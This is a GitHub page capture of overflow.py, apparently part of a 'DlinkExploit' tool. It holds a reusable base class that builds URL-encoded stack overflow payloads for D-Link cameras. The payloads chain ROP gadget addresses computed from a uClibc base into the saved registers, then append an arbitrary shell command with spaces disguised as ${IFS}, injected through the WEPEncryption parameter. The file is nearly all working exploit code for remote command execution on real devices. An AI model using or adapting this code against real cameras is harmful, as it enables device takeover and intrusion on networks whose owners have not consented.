-
Notifications
You must be signed in to change notification settings - Fork 11
/
overflow.py
123 lines (101 loc) · 4.52 KB
/
overflow.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import struct
from DlinkExploit import util
class Overflow(object):
"""
Inheritable class used to create device specific overflows. To create new
overflow classes, establish what is returned in the "model" field for a
given device. This value will be the name of the file. For example the
DCS-5020L returns "DCS-5020L", so that is the name of the file. There
must be an Overflow class defined in that file which will define the
specific overflow for a given version of the device.
Individual versions are defined by combining the "version" and "build"
fields. If a device has:
version=2.16
build=9
then a function must be defined as "_2_16_9". If no build number is
present, which seems to be the case on older firmware versions, then 0
should be used for the build.
Class Variable Explanation:
command (str) -> command that will be executed on the device.
libc_base (int) -> Load address of the executable version of uClibC. This
could be any library that ROP gadgets are found in,
but I always use uClibC if I can.
distance_to_s0 (int) -> Distance from the exploitable buffer to the saved
s0 register on the stack.
s0 (int)
s1 (int)
s2 (int)
s3 (int)
s4 (int)
s5 (int)
ra (int) -> Fill the register variables with an offset to the ROP gadget
within the library described by the libc_base variable. When
generate is called this value will be added to the libc_base
value and packed as a little endian value.
padding_after_ra (int) -> Count of bytes between $ra and the end of the
stack. Usually 4 or 0 since the stack must be 8
byte aligned.
rop_padding (int) -> Length of padding to place between our stack and the
location on the stack that the ROP gadgets will get
the command from.
"""
def __init__(self):
self.command = None
self.libc_base = None
self.distance_to_s0 = 0
self.s0 = None
self.s1 = None
self.s2 = None
self.s3 = None
self.s4 = None
self.s5 = None
self.ra = None
self.padding_after_ra = 0
self.rop_padding = None
def _pad_or_compute(self, register):
"""
Fill a register with AAAA or compute the runtime address based on
the provided value and the base address of libc.
:param register: Offset within UClibC or None if not required.
:type register: int
:return: Little endian packed bytes.
:rtype: bytes
"""
if register is None:
return b'AAAA'
return struct.pack('<L', self.libc_base + register)
def generate(self, camera_version, command):
"""
Generate an overflow string based on the camera model, version,
build, and provided command.
:param camera_version: Target camera version.
:type camera_version: version.CameraVersion
:param command: Command to execute on the target.
:type command: str
:return: Overflow string that can be appended directly to a URL.
?WEPEncryption=OVERFLOW
:rtype: str
"""
def version_not_found():
raise Exception('Overflow not available for camera: %s' %
camera_version)
self.command = bytes(command, 'utf8')
overflow_generator = "_%s_%s_%s" % (camera_version.major_ver,
camera_version.minor_ver,
camera_version.build)
func = getattr(self, overflow_generator, version_not_found)
func()
return str(self)
def __str__(self):
return '?' + \
util.url_encode(b'A' * self.distance_to_s0 +
self._pad_or_compute(self.s0) +
self._pad_or_compute(self.s1) +
self._pad_or_compute(self.s2) +
self._pad_or_compute(self.s3) +
self._pad_or_compute(self.s4) +
self._pad_or_compute(self.s5) +
self._pad_or_compute(self.ra) +
self.padding_after_ra * b'A' +
b'B' * self.rop_padding +
self.command.replace(b' ', b'${IFS}'))